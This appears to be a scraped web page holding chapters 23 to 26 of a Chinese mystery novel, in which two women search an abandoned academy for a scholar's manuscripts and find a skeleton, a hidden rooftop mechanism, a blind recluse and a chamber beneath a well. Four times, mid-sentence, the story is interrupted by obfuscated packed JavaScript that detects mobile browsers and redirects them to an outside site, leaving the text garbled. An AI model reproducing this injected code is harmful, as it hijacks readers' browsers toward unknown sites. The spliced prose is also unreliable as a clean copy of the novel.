;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377152|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书藏在了身上,莞尔一笑:“走吧,说不定第二本也能很快找到呢。” 两人刚踏出房门,发现外面已经有很多找完房间的人了,只是从他们的表情来看,应该一无所获,看来她们的运气确实不错。 有人见她俩出来,问道:“你们可找到藏书?我不是想抢,只是在这里的人几乎都没找到。” 话虽如此,戚研商还是摇了摇头,道:“没有,此处应该没有真迹的,如不然,太凭运气了吧!若真找到了,以后可要好好算上一卦。” 林霁荷被她说得胡话逗笑了,只能以手颜面,看起来却是愁眉苦脸的样子,还配合着唉声叹气,其实差点笑出声。 “看来不能取巧,还是老老实实的去找吧。”那人道。 出了平房区,才展现了书院真正的样子。 既有书堂,亦有书房,以阁命名,应是按照学科划分,看来此处过去是真正的书院,只是不知何原因被征用做比试场地。 两人在书院中游走,终于在地处偏僻,人迹罕至之处,找到了一间书房。 这个书房被郁郁葱葱的大树所遮挡,若不是仔细观察,很难发现丛林中还藏有此处。 门上悬挂的牌匾倒是崭新的很,上面写着“观星阁”。 可是大门却残破陈旧,门把上挂着锈迹斑斑的铁锁,林霁荷拔出佩剑,轻轻一砍,那锁便断裂掉在了地上。 “我还担心把我的剑砍坏,没想到这么脆弱。”她本只是想试一试,没敢真的下手,万一让剑身卷刃就不好了,结果刚碰到锁链,它就断了。 戚研商一脚踢开锁链,推开大门,这大门倒是比锁链结实些,费了不少力才打开一个可供一人出入的口子。 两人侧身进入,书房内遍布灰尘与蛛丝,应该许久没有人来了。 “这里所有的都是陈旧,唯有牌匾是新的,这是什么原因?”林霁荷问道。 戚研商思索片刻,道:“我也不知。” 牌匾崭新无非就是两种原因,一是原本的牌匾过于陈旧,无法辨认,于是重新做了一块,二是这里本就没有牌匾,门口那块是后来挂上去的。 可是这两种推断都无法解释为何书房被如此破败,哪有只换牌匾,不清扫房内的道理。 书房内光线暗淡,好在设有不少窗户,两人先去将那布满灰尘的窗户打开,扬起不少灰尘,引得连连咳嗽,房内也明亮了起来。 屋外的阳光照射进来,将原本看不清的角落也照亮了,这使得两人不得不注意到那前去二楼的阶梯上,竟然有一个人形趴在那里。 “小商,你看,那是什么?”林霁荷只是扫了一眼,不敢再看,躲在了戚研商身后。 戚研商看去,那并不是活人,应该是一具尸体。 待两人走近了才发现,已经不能称之为尸体了,而是一具挂着布衣碎片的骸骨,他的动作似乎是要向上攀爬,但是由于某种原因,只能倒在这里。 23.观景圣地 “莫慌。”戚研商上前一步,蹲下查看骸骨,她不懂验尸,无法推断此人是何时死亡,不过就风化程度来看,应该有好几年了,指节处的骨头近乎粉化。 她拾起一片布衣碎片,颜色呈现灰褐色,无法确定是原本的颜色,还是被血浸染后的颜色。布片虽然已经随着时间流逝失去了原有的质感,可从边缘显露的线头来看,应该与他们身穿的统一长衫不同。 这个人是谁呢? 林霁荷不敢靠近,但是她做出了大胆假设:“说不定这个就是李云山。” 也有这种可能,可要找的正是要找此人的真迹,却把此人的骸骨丢在这里长年不管,骸骨是他的可能性近乎为零。 “应该不是李云山,很有可能是前几年来参加比试的人,只不过他的衣服与我们不同,无法确认。”戚研商稍作推论,不过眼下这具骸骨无法提供更多信息,在此研究也没什么意义,“先不管他了,我们看看这里能不能找到书。” 一楼藏书较少,只有左右两侧的书架,于是一人一边寻找。 这里叫做“观星阁”,书架上的书也几乎是围绕着天文所写,戚研商没能找一本字迹与李云山相近的书。 大多都是一些学术记录,戚研商也无心仔细阅读,不过有一本却是写着关于星宿的志异怪谈。 林霁荷找得眼睛酸涩,她一回头,却见戚研商靠着书架,捧了一本书,读得津津有味。 “你找到了?”她凑过去问道。 戚研商向前翻了两页,指着那行标题道:“没没找到,不过我看这短篇挺有意思,是叫‘狐爪围’,你听说过吗?” 林霁荷轻轻扫了一眼,这个名字似乎有点眼熟,她想了想,道:“有,小时候在茶楼听说书人讲过,有些吓人的,不过记载在书上的倒是没见过,这不应该的编来吓唬小孩的故事吗?” “这本书记载的就是民间琐事,讲的像模像样的。”戚研商道,这个故事比起怪谈,更像是记录的真实故事,上面所写的地点都是真实存在的,只不过看下来有些惊悚罢了,被添油加醋成为怪谈,也不出奇。 所谓“狐爪围”,最早是由梭罗镇的一位乡绅所发现的星象,像是一圈狐爪包围着中间一颗星而得名。 乡绅原本想凭借这一发现求得一官半职,然而没多久就被发现死于家中,之后此星象便被成为不祥之兆。 然而祥与不祥也只在一念之差,千里外他镇的一名仕官,一直郁郁不得志,嫉妒他人官职。听闻此等星象,去找了道士将“狐爪围”画于符上,试图诅咒他人。 只是仕官也未能得逞,当年强盗横行,多半是只劫财不要命,但不知为何,当夜被盗十余人中,只有该仕官横死,最终那强盗也掉下了悬崖殒命。 “狐爪围”一出现,便连死三人,即使这其中没有什么鬼力乱神,不是自杀就是咎由自取,但仍旧被当做了怪异事件记录下来。 林霁荷早就不是小孩了,再次看这个故事,便不觉得哪里可怖,道:“这星象也是冤枉,平白无故的就摊上了三条命。” “你在那边书架可发现了什么?”戚研商话题一转,突然问道。 林霁荷有些懵,答道:“都是些说什么星星的书,还有些图册,我也看不懂。” 那就对了,戚研商又翻了翻书,似乎在书中找些什么,继而转头看向那具骸骨,道:“这里基本是一些理论书籍,唯有这本是志异怪谈,想必是刻意为之。” “怎么说?”林霁荷抱住了胳膊,背后有些发寒。 “这书中死的三个人,其描述都是右手向上高举,你看那楼梯上的尸骸,是否也是同样?”戚研商道。 林霁荷也转头看向楼梯,那具骸骨确实如书上所写,姿势是向上攀爬,而高举的是右手。 她霎时感觉书房内有一丝凉意从脊骨直窜而上,不住颤抖着说:“不会这个‘狐爪围’……真的是什么不祥之物吧?” 戚研商合起书,塞回了书架上,道:“我猜,这是巧合。不过楼上一定是藏了什么秘密,否则此人也不会在临死前也要上楼,而不是逃离或者藏起来。既然这里没能找到李云山的书,那楼上说不定就有。” —— 戚研商小心跨过楼梯上的尸骸,林霁荷紧跟其后。 二楼中心放置着一架巨大的观星仪,周围一圈是书架,上面放满了书籍。 那观星仪上应是光洁的表面却被层层灰尘遮住,轴体间交织着重重蛛网,看起来被遗弃许久。 “这二楼屋顶并不是开放的,观星仪放在这里有什么用?无法观测啊。”林霁荷问道,她抬头看看去,这层楼设计的极高,观星仪几乎有她两人高,而屋顶距离观星仪的定测也约有半人之高,可是那顶部密不透风,也没留有窗口,或者活动板,观星仪要如何运作呢? 二楼光线较暗,戚研商在角落的桌上找到一盏落灰的油灯,虽然同样被灰尘覆盖着,但是里面的油层也被好好包裹着,她擦拭掉表面的灰尘,掏出火折子点燃,轻轻靠近,油灯立刻被点亮。 戚研商吹灭火折子,她高举油灯,向上看去,那屋顶部分似乎与屋内所用的木材有些区别:“星象仪如此庞大,可能并非从楼梯运上来,而是被吊着从顶部放入。这屋顶与墙面明显有些差别,顶部应该是后来加上的,这里就是一个被遗弃的观星台。” “那人上来是为了什么呢?带走这个星象仪?”林霁荷问道,她随手翻开书架上的书,同样是晦涩难懂的星象相关的书籍,看一眼便知不是李云山的笔迹。 即便戚研商推测这里大约是没有李云山真迹了,可是想到之前设想有误,还是打算先寻找一番。 这一找确实找到了东西,有两本书的夹缝中,有一本极薄的笔记,字迹虽并非李云山,可是内容却提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409824|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了他,甚至还提到了“狐爪围”,将这无所关联的两者联系到了一起。 “唔,李云山曾经也研究过‘狐爪围’,还写了相关的诗集,后来这诗集不知为何被研究星宿的人奉为上作,李云山离世之后,更加奉为神作,之后便有大批学者争抢此诗集。”林霁荷将笔记中的内容大致概括道,“看来这人仅在部分天文学者中稍有名气,并非文豪,怪不得我们都没听说过。” 戚研商恍然大悟:“那就对了,下面那具骸骨应该也是在此寻找这本诗集的,难道诗集就在此处?” 她又在书架上找了一圈,摇了摇头,道:“应该不会在这里,那人在楼下被杀,追杀他的人必然已经在二楼找过一番,若是在此早就被带走了。” 林霁荷揉了揉眉心,露出愁容,道:“那可如何,我们在这里发现这么多线索,竟然真迹并不藏在这里。” 戚研商猛然想起,在围猎场的地下,就有如此处一般是书架,那书架后面藏有机关,这里是否也有机关呢? 无论如何,还是要先找找再说,她开口对林霁荷道:“我觉得此处应该还有些机关暗格之类的,你去那边看看有什么异常,我在这边找。” 二人将书架又寻了个遍,甚至将看似有些突兀的书籍给拿了出来,也并未发现机关。 难道是她又想错了吗? “你说这机关,会不会就是星象仪本身?”林霁荷盯着星象仪,她伸手将上面摸了个遍,将灰尘擦落不少,也没触发什么机关。 戚研商点点头,她蹲下仔细观察星象仪下方,果真让她发现有一丝不和谐之处:“星象仪底部的地板似乎与旁边衔接的略有错落,是不是整个星象仪是可以转动的?” 林霁荷一听,觉着有戏,连忙抓住了两根轴体,道:“小商你抓住那边,我们一起往右走。” 然而星象仪却纹丝不动,戚研商道:"可能不是这个方向,我们向左走吧。" 向左似乎是正确的,戚研商明显能听到来自地板的“嘎吱”声,只是阻力极大,两人相视一眼,默契地用尽全身力气,星象仪终于开始缓缓转动,随之那地板发出的声音越来越大。 挪动了好几步,阻力逐渐减少,看来是触动了机关。 地板下的声音从“嘎吱”声变成了有规律的“咔咔”声,戚研商抬头,发现屋顶竟然从中间裂开,向两边倒去,露出蔚蓝的天空。 随着那裂缝越来越大,显露出屋顶外竟然建造了一个平台,平台尽头连接着长廊,那长廊一直延伸到远方的另一座建筑。 她们从下方未能发现屋顶有平台的原因,便是门口大树的树叶生长得太过茂密了,导致从下方看去,最多只能看到屋檐一角。 “真没想到这屋顶就是一个机关,太神奇了。”林霁荷兴奋地说道,她仰头看去,从这里观星确实能够看到广袤的天空,真是一个观景圣地。 24.黑不见底 屋顶机关被触发后,角落出现了一个向上的楼梯。 两人登上平台,这里除了比较开阔外并没有其他东西,于是戚研商决定顺着长廊去另一座建筑看看。 长廊的两侧长有高大的树木,长廊被隐藏在其中,在其中行走也不用担心会被发现。 沿着长廊一路前行,许久才到达另一栋建筑。 尽头是一扇封闭的门,门闩就放在外侧,是无法从内部打开的,戚研商有些犹豫是否打开此门。 “万一开门了里面有人怎么办?”林霁荷小声问道。 可是她们除了打开这扇门以外也无处可去了,只能折返。 戚研商最终还是将手放在门闩上,小心地将门打开了。 好在,房间内漆黑一片,似乎无人。 戚研商先行摸黑进入,一只手牵着林霁荷,两人慢慢地走了进来。 内部实在是过于黑暗,除了门口照进的一丝光亮外,再深处的地方一点也看不见,戚研商下意识地去摸袖中的火折子,却被一只手制止了。 “太黑了。”戚研商以为是林霁荷阻止的,便开口说道。 然而那人并不是林霁荷,一个陌生的女声传来:“别点火。” 那女人似乎并无恶意,只是制止了她的动作,并没有采取其他措施。 身后的林霁荷不敢说话,只得紧紧握住戚研商的手。 戚研商也有些紧张,她试探着问道:“姑娘,我们只是无意中找到这里的,没有想抢你的东西。” 那女人没正面应答她的话,只是问道:“你有没有嗅到什么?” 嗅到?戚研商深吸一口气,空气中确实弥漫着一股只有食物才会散发的气味,她道:“有香油?” “没错,跟我来,你们慢慢走,地上全都是香油。”女人牵住了戚研商的衣袖,带着她缓缓向前。 脚下确实感觉到有什么极其湿滑的东西,她即使走得很慢,仍然感觉自己难以掌握平衡。 林霁荷跟的极紧,由于看不清脚下的路,她有好几次都踢到了戚研商的脚,好在两人略微控制才没有摔倒。 不过这样的平衡也没能维持多久,突然的一个转角,林霁荷猝不及防,她首先未能保持平衡,左脚的步伐偏斜了一点,再次踢到了戚研商,而此时正好戚研商的重心放在被踢到的那一侧,最终两人还是摔倒在了地上。 在这样黑暗的环境中摔倒,眩晕感更加猛烈,戚研商完全不知道发生了什么,她只觉得触及地面的地方被摔得生疼。 “你们没事吧?”女人问道,她没有跟着摔倒,伸手想要扶起戚研商。 戚研商却站不起来,如此湿滑的地面,她无法脚下用力,只能勉强坐在地上。 一般这种突发情况,林霁荷应该已经开始嚷嚷,不知为何此时她十分安静,戚研商心中隐隐感到不安。 “我无大碍,不知道她如何。”戚研商吃力地转身,在黑暗中摸索着林霁荷,能感受到她的身体还微微起伏着,应该也无大碍。 戚研商爬到了她的身边,伸手将她的头轻轻托起,道:“林霁荷,你摔到哪里了?” 林霁荷只是用鼻音轻哼着,没有说话。 此时女人也走了过来,不知为何她没有受到香油的影响,戚研商感觉到她在另一侧蹲下,同样将手伸到林霁荷头下,突然说了一声:“不好!都是血!” 血?戚研商下意识以为手上黏着的液体是摸到了地上的油,没想到这竟然是林霁荷的血? “怎么办?”戚研商有些慌张,她什么也看不见,又下意识去摸袖中的火折子。 女人喝止了她:“不能点火,这里会燃起来的!” 此刻戚研商也顾不着其他,她原本是想等到安全的地方再去问那女人情况,可现在林霁荷已经负伤,她不得不先开口:“你到底是什么人?这里为何一地的香油?” “我没想害你们!”女人道,她的力气十分大,竟然将林霁荷的身体托起,似乎将她向一旁拖去,“这里有些纱布,我先帮她止血,你向左侧转一点,一直慢慢往前,就能过来了。” 戚研商没有办法,只能暂且听从她的话,向她的方向一步步挪去。 终于摸到了一个像椅子般的物体,她支撑着身体,坐了上去。 “你怎么能看见?”戚研商虽然稍微适应了黑暗的环境,可仍旧有些头晕。 女人缓缓道:“你说错了,我是个盲人,之所以能‘看见’,靠的是听觉。至于为什么能够不受地上香油的影响,因为我的鞋是特质的。” 听说五感失去其一的人,其他感官会变得异常灵敏,那么此人能够在黑暗中自由行走也较为正常。 “她只是摔到头,晕过去了,并没什么大碍,那些血应该是划到边角了,现在已经止住了。”女人接着说。 戚研商分辨不出她话中真假,印象中参加比试的人并没有什么盲人,问道:“请问你究竟是谁?” 女人答道:“我叫恒越,自我失明后一直在这里,地上倒的香油,也是为了自保。” “自保?”若是地上的香油燃起,怕是也无法自保了。 “没错,你能够到这里应该也不是一无所知吧?”恒越问。 戚研商觉得也没有隐瞒的必要,说道:“我们是在那边发现了机关,莫非这与那坊间异闻的‘狐爪围’有关?” 恒越嗯了一声,道:“‘狐爪围’在民间被称为不祥的化身,这其实是误传,或者说是对它的一种掩饰。” “那真实情况是什么?”戚研商问。 “是一种指向,前朝有一富商将全身家当藏于墓中,而造墓之人皆被暗杀,之后无人得知这万千珍宝的坟墓所在何处,而富商留下的唯一线索,便是‘狐爪围’。”恒越说着,叹了口气。 原来是此等原因,那么与“狐爪围”有关联的人皆为殒命,那并非什么鬼力乱神,而是在利益驱使下,被他人杀害。 戚研商继续问道:“我在那处见到一具尸骸,你可知是何人?” 恒越答道:“我不认识,但那人是我杀的。” “什么?”戚研商听到这个答案有些惊讶。 “那人从我处抢夺了有关‘狐爪围’的诗集,我只是拿回来罢了。”恒越道。 此时戚研商终于将一切串联起来,看来李云山所撰写的诗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426562|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 集,就是解读了“狐爪围”,相当于一本藏宝图,那么这些人争相抢夺也不足为奇。 “那这本诗集……现在在你这里?”戚研商试探道。 恒越沉默了一会,道:“是在此处,那是李云山的绝笔之作,不可能给你。” 然而戚研商从未想要得到此书,虽然也是李云山所写,可她却对什么财宝毫无兴趣,若是带在身上,难免惹来杀身之祸。 可是她还有一点不明白,问道:“这里已经被用作十二簪比试场地你可知道?为何他们都没有发现你……藏有那本诗集吗?” 恒越笑道:“他们确实知道我在此处,可知道我有诗集的也只有你一人。我不过是个看起来年过百半之人,在此修身养性,谁能管我?” 这其中定有其他事情恒越仍做隐瞒,她与李云山究竟有何关系,才将诗集交她保管?为何恒越只是将诗集收藏好,却没有孤身去寻找那宝藏? 不过戚研商也对此不太感兴趣,她只是想要赢得这场比试。 林霁荷恰逢此时醒了,她头痛欲裂,睁眼却什么也看不见,只能慌张地道:“小商?你在这里吗?我是不是瞎了?” “没有,这里本来就很黑。”戚研商伸手去摸,正好抓住林霁荷的手。 恒越松了口气,道:“还好你醒了,没多大事。我们小心点去楼下吧,那里没有香油,我拖着她,你跟在后面,小心点走。” 林霁荷完全不知目前是什么情况,只觉得那说话的陌生女人力气极大,将她拉了起来,扶着下了楼。 幸好楼梯上没有香油,戚研商慢慢摸索着,也走了下来。 恒越将一盏油灯似的物体交给戚研商,道:“现在你可以点灯了。” 戚研商取出了火折子,点亮了油灯,她终于能看见了,只是此刻眼前的恒越,面容竟然极为可怖。 “你的脸是怎么了?”林霁荷同时见到她的脸,惊讶地问道。 恒越道:“这里曾经有过一场火灾,我的脸也是那时烧伤的,也因此失明,还好扑灭得及时。不过那时我也学会了在地上倒油,如果无法反击,就同归于尽。” “恒前辈,我们能否在此先借住一晚?”戚研商问道,她琢磨此时已经不早了,并且通过长走廊,也已经不知道此刻在何处,出去找住处恐怕要耽误许久。 恒越点头:“可以,我这里有些吃的,你们请便。还有些药膏,这位受伤的小友擦一下吧。” 说罢,她从旁边的桌上拿来了几个馒头,和一瓶药膏,递给了戚研商。 那馒头的形状很奇怪,看来是恒越自己做的,便问道:“前辈,你从哪里得来的面?” 恒越笑道:“那当然是出去买的,我独居于此,总不能等着别人来给我送吃的吧。” “这个地方是可以随意出入的吗?”林霁荷问道。 “没人拦过,这劳什子比试,与我无关。”恒越道,她似乎不想再聊下去,便转身上了楼。 戚研商解答了这个问题:“你忘了蔚炎凤吗,她就是自行前来,规则没有说不让出入啊,只是地处偏远,较为难找。” 林霁荷却道:“谁是蔚炎凤?” 25.师出同门 这一摔,林霁荷失忆了? 可怪异的是,若是失忆应该忘记一些新认识的人才对,怎么会忘记蔚炎凤呢,那可是在江湖中大有名气之人。 “你,当真不记得了?”戚研商小心地问道。 然而林霁荷却俏皮地眨了眨眼,道:“骗你的,看你一脸的严肃,我头还痛着呢,也没如你这样。不过你说的也对,虽是比试,似乎这些人想来就来,想走便走。” 戚研商长舒一口气,嗔怪道:“我是真怕你出了什么事,若不是我想到这边来,你也不会摔倒,结果现在一无所获的。” 林霁荷摸了摸脑后手上的地方,道:“不过是擦破了点皮,没什么要紧的。对了,那个烧伤的女人,究竟什么来头?” 于是戚研商便将她没能听到的事情向她复述了一遍,林霁荷听完后思索片刻,道:“看来这位恒前辈是不想别人去寻那个藏着宝物的坟墓,是出于某种考量,而不是为了财宝。” “你觉得是什么原因?”戚研商问,她也想到了这点。 “当然是比财宝更贵重的东西,甚至是无价之宝。”林霁荷觉得恒越看起来身份非凡,此类人都将金钱视作身外之物,那这无价之宝,必然涉及到权。 戚研商听懂了言下之意,她认为此事并非她可以涉足的,便叹了口气到:“吃了馒头,早点休息吧,明日我们再出去寻书。” “唉,不想再吃馒头了。”林霁荷一边将馒头塞入嘴里,一边抱怨道。 翌日,恒越并未出现,戚研商也不想再打扰她,毕竟二楼实在危险,于是两人便匆匆离开了。 出来后发现,恒越的房间位置也同样实为隐秘,她们穿过茂密的树林,才回到书院内侧。 只是出来后有些惘然,周围竟然都是相似的建筑,本来就迷路的她们,实在分不清自己在哪,只好如同无头苍蝇般乱转。 两人进了好几间书房,里面已经被人翻阅过了,乱七八糟的书籍掉落一地,就算有李云山的真迹,也被别人拿走了。 戚研商有些挫败,道:“看来我们一开始就走错了方向,白白浪费一天。” “可是第一本很轻松就找到了呀,如果最后我们也没能再找到一本,那手上的这个给你。”林霁荷安慰道,她只是替兄长来参加比试的,本就不抱有胜利的希望。 即使戚研商非常想加入十二簪,却不接受这样的提议,她摇了摇头:“本来就是你找到的,若是只有这一本,也应该是我回家。” 林霁荷郑重地拍了拍她的肩道:“不要气馁,有的是时间!你看,这里不是书房,上课的书堂,我们去这里找找吧。” 戚研商抬头,前方是一个类似小庭院的地方,上面写着:“永历堂”。 两人踏入此处,戚研商发现门口的草地上有着凌乱的脚印,看来这里也被人翻找过了。 不过她还是决定先进去勘察一番。 书堂的正前方是上课的地方,右边为一间小书房,而左侧是学生休息之处。 不用想,那书房也已经被翻找的十分凌乱,书架上几乎空空如也,那些书籍都被随意地丢弃在地上,戚研商看此场景,不得有些心痛。 林霁荷蹲下将几本书拾起,放回了书架上,道:“这些人也真是的,如若不是,放回去便是了,到处乱扔,真是对这些学者不敬。” 戚研商也跟着蹲下拾起这些书,放上书架,她发现这些书上的字迹大多出自同一人,不知是在此教书的先生,还是学生,誊写都是一些经典史籍。 她在书脊上发现了此人的名字,读了出来:“李语客。” “李语客?”林霁荷听此名字十分熟悉,她停下手上的动作,将书翻了过来,果然看见了那三个字。 “你认识这人吗?”戚研商问道,这个名字如同李云山一般,她对此一无所知。 林霁荷将手中的书翻了又翻,又从地上捡起好几本字迹相同的,看了又看:“我认识,这人是我小时的教书先生啊!” “这么巧?”戚研商仔细看起手中的书,那字迹不知为何,总觉得与李云山有些形似。 林霁荷嗯了一声,道:“这位先生不是什么大人物,只在世家中倒是有一番名气,后来我家道中落,也只能请辞了这位先生。” “你觉不觉得,这人的字迹,与李云山有些相似?两人还是同一姓氏……”戚研商盯着书上的字,问道。 “有吗?”林霁荷立即拿出了藏在身上的书,将两书作对比,有些字的写法,确实十分相近“这么说来,当时李先生也说过,他有一个师弟……” 戚研商将书放在书架上,道:“先别收拾了,这里别人找过,应该不会再有李云山的书了。不过既然两人很有可能是师兄弟,这永历堂中,亦很有可能存放有李云山的书。” “有道理,走。”林霁荷兴奋地拉着戚研商向着讲堂走去。 这里的讲堂一如其他的相似,是为半开放型,几乎可以一览无余,每张桌子都是空空如也,未留有一张纸条。 连后方的书架上同样没有任何东西,甚至还覆盖着一层薄薄的灰。 “这也正常,”林霁荷道,“此处已经荒废许久,早已没学生了,谁又会留下东西呢。” 接着二人进了休息室,将所有储物格一一查看,此处倒是留有一些衣物之类的。 戚研商将每件衣服都拿起抖落一番,还好灰不算多,否则她又得要打喷嚏了。 “衣服中应该不会藏书吧?”林霁荷小心地问道,她在房间内找了一圈,没有发现任何书籍。 “当然不会,可是说不准有什么线索。”戚研商利落地拿起衣服,翻找口袋,再大力抖落一番,放下后再拿起下一件。 林霁荷觉得有道理,也学着模样在衣物中翻找着。 这次总算没有猜错,在戚研商的大力摔东西下,有一张折叠的纸条掉了下来,她赶紧拾起,展开一看,果然有线索。 “语客兄,那本书我已经誊写好了,还放在老地方,有空记得拿。”戚研商将内容读了出来。 虽然找到了线索,可上面写着的信息极少。 林霁荷盯着纸条看了看,有些丧气,道:“就算我们找到了这个老地方,说不定那本李云山誊写的书已经被拿走了,又是白跑一趟。” 不过戚研商确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438294|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实胸有成竹一般,她举起掉落纸条的那件衣服,道:“很有可能还在那里,你看这件衣服十分崭新,甚至还有叠痕,而其他的衣服已经非常破旧,说明这是唯一一件新衣服。你再看那纸条,不仅折痕很深,且因为藏在衣服中,没有与空气直接接触,看起来很新。” “你的意思是,这件新衣服还没有被动过?”林霁荷听闻,立刻接过衣服和纸条,仔细观察,正如戚研商所说,十分崭新。 戚研商虽然不知道是什么原因,李语客没有穿上这件新衣,但是纸条上的字迹确实是李云山所写。 林霁荷突然问道:“如果我们只交这张纸条,算不算通过?” 比试规则是要求找到真迹,这张纸条确实是真迹,可拿着这张纸条便是通过,算不算是投机取巧呢? “应该不算吧。”戚研商道,她又仔细想了想,纸条虽然是真迹,可怎么都算不上是本书,看来她们只能先去找“老地方”了。 戚研商将那些衣服一股脑取了出来,尽数丢到了外面,道:“我们先在这里找一找有没有什么暗道。” “又要找机关?”林霁荷挠了挠头,这个地方机关未免有些太多了吧。 纵是如此,两人还是在房间内找了一番,感到奇怪的地方都去敲击一下,说不定可以触发什么机关出来。 只是休息室真的只供休息,没找到任何机关。 戚研商感觉有些累了,她坐在凳子上思考着,好像想到了什么,问道:“李语客在教你的时候,有没有提到过什么老地方呢?” “我想想啊……”林霁荷微闭双眸,回忆道,李语客虽然教她的时间不长,她的印象却是十分深刻,这是一位很好的老师。 李语客会经常闲聊一些过往有趣的事情,比如他上学时,偷偷将老师用于批阅的笔藏到了水井的木桶中,那支笔可是圣上赏赐的,使得老师几日都没给他们上课,光是去找笔了。 林霁荷猛然睁眼,道:“他以前将东西藏在水井的木桶中,会不会那个老地方,就在水井?” 两人迅速动身,绕到学堂的后院,果真有一个水井。 水井弃用了许久,不仅干枯了,甚至从中长出了藤条来。 打水的木桶便放在了水井旁边,戚研商向里面看去,很可惜,木桶中空无一物。 林霁荷提起木桶仔细观察,并没有什么夹层之类的,只是一只普通的木桶,她叹气道:“想来也不会把书放在木桶中,不然不就湿了吗?” 她放下木桶,看向戚研商,发现戚研商竟然用力地在拽水井中的藤条。 “你不会觉得书会藏在水井之下吧!现在是干涸了,但是当时还是有水的啊!”林霁荷吃惊地问。 戚研商用尽了力气,甚至一只脚踩在井的边缘借力,转头对林霁荷说道:“来帮下忙。” 即使不理解这样的举动,林霁荷还是伸手帮忙了,两人一起终于将那巨大的藤条拔了出来。 井中的遮挡物消失了,戚研商趴在井边向里望去,道:“地下应该有一个密室,不过这井是其中一个出口,现在干涸了才能看得出来,从前一直是封闭的,被水挡住了。” 26.秘密空间 林霁荷跟着看去,井中确实有一个很小的出口。 她绕着水井转了几圈,四处张望,喃喃道:“入口到底在哪里呢?” “入口的机关肯定不会随意触发,否则打水是一不小心就触动了。”戚研商道,她在水井的周围也仔细寻找了一番,没有发现什么奇怪的地方。 林霁荷盯着水井上方牵引绳索的木架子道:“小商,你看这里,有个孔洞,会不会是插入‘钥匙’的地方?” 戚研商起身看去,那处乍一看只是木架的衔接处,仔细观察会发现这个洞外大里小,确实像是一个木质的锁眼,可这‘钥匙’又藏在何处呢? 最终目标还是锁定在了那只木桶上,她将木桶提起,并未发现上面有哪一块木板有异,不过手把处却觉得有些松动。 “那‘钥匙’估计就是水桶的把手,你抓紧把手的两边,我向上提。”戚研商道。 在林霁荷握紧两侧后,戚研商紧紧抓住中心的把手,左右摇晃着,用力向上拉,果然,那根把手的木棍顺利被拔了下来。 木棍的一侧是正常的方形,而另一侧却与那个孔洞的形状相吻合。 戚研商将木棍插入孔洞中,完全吻合,她轻轻转动把手,只是这把手表面过于光滑,她很难用力,只好用双手紧紧抓住,缓缓转动着。 不远处传来了触动机关的声音,戚研商抬头看去,原来布满青苔的一处,突然裂开了一条缝。 “你看!真的有密室!”林霁荷欣喜道,她走到那条缝边,道,“你抓紧了,我来帮你推开,这样省力一些。” 说着,林霁荷将手插入缝隙中,用力向前推开那块石板,戚研商感觉手中的机关较为好转动了些,不一会,那地下室的入口便完全暴露了出来。 地下十分黑暗,林霁荷看向戚研商,狡黠一笑,道:“又到了用火折子的时候了。” 戚研商十分庆幸带了不少火折子出来,否则在这比试中简直寸步难行。 只是此处暂时没有油灯,戚研商只能举着火折子与林霁荷一同走下密室。 这里似乎真的很久没有人来了,又处在水井附近,向下的石阶长满了青苔,又湿又滑,两人不得不小心翼翼向下走去。 空气中充满了潮湿的泥土气息,戚研商感到十分不适,手中的火折子也由于空气中充满了水汽,燃烧得不那么剧烈。 好在到达底部时,在墙上发现了两盏油灯,由于太过潮湿,戚研商用火折子点了好几次,才将油灯点亮。 “这里实在太湿了,好冷啊。”林霁荷道,不仅潮湿,地下比上面要冷上不少,她忍不住瑟瑟发抖。 戚研商托着油灯四处照亮,道:“那我们找快一些,早点上去。” 密室并不大,戚研商看不出原本是做什么用的,她抬头望去,上方有一角可以看到一块石板,应该是连接着水井的出口。 中心摆放着一张石桌,桌上正放着一本书。 戚研商将书拿起,由于它就这样放在桌上,受到了青苔的侵蚀,书本有一半都是绿色的,且十分潮湿。 光凭手中的油灯,完全看不出上面写了什么。 “现在没法确定这本书是不是李云山的,我们先上去吧,将它晒干了再说。”戚研商道,她小心地将书收起,若是动作再大一些,很有可能将书撕烂。 